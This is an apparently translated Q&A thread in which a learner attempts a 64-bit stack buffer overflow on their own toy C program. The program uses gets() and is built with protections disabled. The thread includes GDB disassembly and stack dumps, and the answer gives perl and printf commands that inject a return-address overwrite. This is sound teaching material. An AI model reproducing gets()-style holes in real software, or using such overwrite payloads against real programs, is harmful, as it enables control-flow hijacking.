我正在尝试了解堆栈溢出,但我读到的只是32位。我的处理器是64位,我遇到以下问题:
C代码:
#include <stdio.h>
#include <string.h>
void return_input (void)
{
char array[30];
gets (array);
printf("%s\n", array);
}
int main()
{
return_input();
return 0;
}
GDB disas main:
Dump of assembler code for function main:
0x000000000040055f <+0>: push %rbp
0x0000000000400560 <+1>: mov %rsp,%rbp
0x0000000000400563 <+4>: callq 0x40053d <return_input>
0x0000000000400568 <+9>: mov $0x0,%eax
0x000000000040056d <+14>: pop %rbp
0x000000000040056e <+15>: retq
End of assembler dump.
GDB disas return_input:
Dump of assembler code for function return_input:
0x000000000040053d <+0>: push %rbp
0x000000000040053e <+1>: mov %rsp,%rbp
0x0000000000400541 <+4>: sub $0x20,%rsp
0x0000000000400545 <+8>: lea -0x20(%rbp),%rax
0x0000000000400549 <+12>: mov %rax,%rdi
0x000000000040054c <+15>: callq 0x400440 <gets@plt>
0x0000000000400551 <+20>: lea -0x20(%rbp),%rax
0x0000000000400555 <+24>: mov %rax,%rdi
0x0000000000400558 <+27>: callq 0x400410 <puts@plt>
0x000000000040055d <+32>: leaveq
0x000000000040055e <+33>: retq
编译说明:
cc -mpreferred-stack-boundary=4 -ggdb overflow.c -o overflow
or
cc -mpreferred-stack-boundary=4 -ggdb -fno-stack-protector -z execstack overflow.c -o overflow
好吧,我正在尝试将RIP修改为0x0000000000400563,并使代码要求输入两次,但它可以正常工作。
我发现代码崩溃时输入了40个字符。所以我尝试了以下输入:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x63\x05\x40\x00
break *0x000000000040055
(gdb) x/12x $rsp
0x7fffffffe280: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe290: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a0: 0x41414141 0x41414141 0x3336785c 0x3530785c
(gdb)
没有崩溃的正常输入:
AAAAAAAAAAAAAAAAAAAAAAAAA
break *0x000000000040055
(gdb) x/12x $rsp
0x7fffffffe280: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe290: 0x41414141 0x41414141 0x00400041 0x00000000
0x7fffffffe2a0: 0xffffe2b0 0x00007fff 0x00400568 0x00000000
(gdb)
正如您所看到的,此处堆栈指向0x00400568但是对于controll的输入,RIP指向0x3336785c。为什么?我不能以正确的方式注入地址。
感谢您的时间。我会真的回应任何答案。
答案 0 :(得分:1)
所以我尝试了以下输入:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x63\x05\x40\x00
您将文字字符'\\', '6', '3', '\\', '0', '5'
等(即其ASCII码)放入缓冲区。但你假设将实际数字0x400563放在那里,而不是'4', '0'
等的ASCII代码。
通常的方法是通过管道输出来实现,例如
perl -e 'print "A" x 20, "\x63", "\x05", "\x40", "\x00"'
到你的程序输入。
更新
但我如何把gdb“perl -e ...”
实现此目的的通常方法是将所需的输出放入文件中:
printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x63\x05\x40\x00" > /tmp/t
然后使用GDB输入重定向:
(gdb) run < /tmp/t